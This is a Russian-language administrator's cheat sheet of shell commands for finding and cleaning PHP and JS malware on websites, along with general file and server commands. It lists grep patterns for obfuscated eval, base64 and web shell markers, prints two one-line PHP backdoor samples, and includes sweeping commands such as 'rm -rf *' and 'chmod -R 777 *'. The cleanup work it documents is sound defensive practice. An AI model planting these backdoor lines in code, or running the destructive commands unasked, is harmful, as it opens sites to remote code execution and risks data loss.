Общие рекомендации по удалению вирусов
ОЧЕНЬ полезная страница для создания GREP
top
Запущенные процессы. Выход клавишей "q".
Перезагрузка web-сервера:
service httpd restart
sudo httpd restart
du --max-depth=1 -h
Узнать размер директорий в текущей.
du -s -h
Узнать суммарный размер всех директорий
grep -F -l -H -a --include="*.php" -R "\x47\x4c\x4f\x42\x41\x4c\x53" /home/o/olden/
Эта команда позволяет искать текст (не регулярное выражение) в файле по маске, рекурсивно начиная с указанного каталога, включая русские буквы
grep -F -l -H -a --include="*.php" -R "preg_replace(\"/.*/e\",\"" /home/o/olden2/
Этой командой ищем точное вхождение текста, при этом кавычки нужно экранировать.
egrep -l -H --include="*.php" -R '\$[[:alpha:]][[:digit:]]{1,5}\[[[:digit:]]{1,3}\]\.\$[[:alpha:]][[:digit:]]{1,3}\[' /home/o/olden/
Расширенная версия grep, которая позволяет искать регулярные выражения. Стандартные \d меняются на [[:digit:]] . Полный список изменений есть тут.
egrep -lRZ -H --include="*.php" -R '<?php.*(\$[a-zA-Z]+[0-9]+\[[0-9]\]\s?\.\s?)+.*?>' /home/o/olden2/ | xargs -0 -l sed -i'.OLD' -e 's/<?php.*\(\$[a-zA-Z]\+[0-9]\+\[[0-9]\] \?\. \?\)\+.*?>//'
Удаляем вхождение регулярного выражения. Жадное. При этом создаются файлы бэкапов. В команда SED экранируются все маски, а спецсимволы не все.
Удаляем строку с вирусом по точному вхождению строки, зашёл через SSH и ввёл команду
find /sitedir -name '*.js' -exec sed -i 's/textdodelete//' {} \;
Вторая версия этой же команды, но делаем проверку регулярным выражением по вхождению определённого текста в строку. При нахождении строка удаляется целиком
find /sitedir -name '*.js' -exec sed -i '/7kSKlBXYjNXZfhSZwF2YzVm/d' {} \;
Не забываем проверить вот на такое вхождение строк
eval(gzinflate(base64_decode('
if (isset($_REQUEST['en'])) eval(stripslashes($_REQUEST['en']));
zip -r logs.zip /.
Архивирование папки рекурсивно. Отличие * от . заключается в том, что с * не будут архивироваться скрытые файлы.
find /dir/to/find/ -type f -iname "*.php" -mtime -7
Найти все файлы по маске, созданные за последние 7 дней, рекурсивно
find /home/o/olden/ -newermt 2015-01-13
Найти все файлы по маске, созданные новее определённой даты
find /home/o/olden/ -name "*.php" -newermt 20150101 \! -newermt 20150130
Найти все файлы по маске, созданные в интервале дат
find /dir/to/find/ -perm 2 -type f -iname "*.php" -exec grep -Him1 'eval' {} \;
Поиск "eval" среди файлов, у которых выставлены права 777
find /dir/to/find/ -type f -iname "*.php" -exec grep -Him1 'eval' {} \;
Поиск текста "eval" во всех файлах с расширением .php с заданной директории:
find /home/o/olden2/ -name 'modx-1.0.13.rar' -exec rm {} \;
Рекурсивный поиск файлов по маске и их удаление.
tar xvfz westernhorse-day.tar.gz -C ~/var/www/westernhorse.ru/htdocs/
Распаковать файл из текущей папки в нужную папку. Если использовать аргумент xvf, то распакуется не .gz, а .tar
rm -rf *
Рекурсивно удалить все папки и файлы в текущей папке
mv oldfolder newfolder
Переместить папку или переимновать её. Работают также пути типа / .. и др.
chmod -R 777 *
Изменить права на все файлы и папки начиная с текущей, рекурсивно.
mv oldfolder newfolder
Переместить папку
scp -P 22 user@myhost.com:/home/user/dir1/file.txt /home/user/dir2
Пароли вводятся после этого.
mysql -u name_user -pmypassword name_db < /home/backup/db.sql
Импорт из файла в базу даных
-name "php.ini" -print
Найти файл по имени начиная с корня сервера.
find ./ -type d|xargs chmod 755
Найти все папки в текушей папке и вложенные и поставить на них 755
find ./ -type f|xargs chmod 644
Найти все файлы в текушей папке и вложенные и поставить на них 644
find /home/o/olden/ -name '*.php' -size -300b -type f -mtime -3
Найти все файлы .php моложе двух дней и меньше 300 байт.
Примеры команд, которыми я находил вирусы
egrep -l -H --include="*.php" -R '\+\=\$GLOBALS' /home/o/olden/
egrep -l -H --include="*.php" -R '\$r{1,5}\[{1,3}\]\.\$r{1,3}\[' /home/o/olden/
egrep -l -H --include="*.php" -R '(GLOBALS.{1,}){3,}' /home/o/olden/
egrep -l -H --include="*.php" -R '(base64\_decode.{1,}){3,}' /home/o/olden/
egrep -l -H --include="*.php" -R 'preg\_replace\(\"\/\.\*\/e' /home/o/olden/
Признаки вирусов
if(@md5($_SERVER['HTTP_PATH'])==='51fe4b870d654af6a1f5b3b8a7c486b4'){ @extract($_REQUEST); @die($stime($mtime)); }
grep -F -l -H -a --include="*.php" -R "PATH'])===" /home/o/olden2/
grep -F -l -H -a --include="*.php" -R "if(@md5($_SERVER['HTTP_PATH'])===" /home/o/olden2/
grep -F -l -H -a --include="*.php" -R "$default_action = 'FilesMan';" /home/o/olden2/
grep -F -l -H -a --include="*.php" -R "?><?" /home/o/olden/
grep -F -l -H -a --include="*.php" -R "?> <?" /home/o/olden/
egrep -l -H --include="*.php" -R '(\$[a-zA-Z]+[0-9]+\[[0-9]\]\s?\.\s?)+' /home/o/olden/
egrep -l -H --include="*.php" -R 'de.{1,10}code.{1,100}str\_replace' /home/o/olden/
egrep -lR -H --include="*.php" -R '(\$$[a-zA-Z]+$[0-9]+\$[$[0-9]\]\.)+'
egrep -l -H --include="*.php" -R "\$\_POST\[\'pass\'\]" /var/www/westernhorse.ru/data/www/westernhorse.ru/
EDITOR=nano crontab -e
-- открытие кронтаба в нормальном редакторе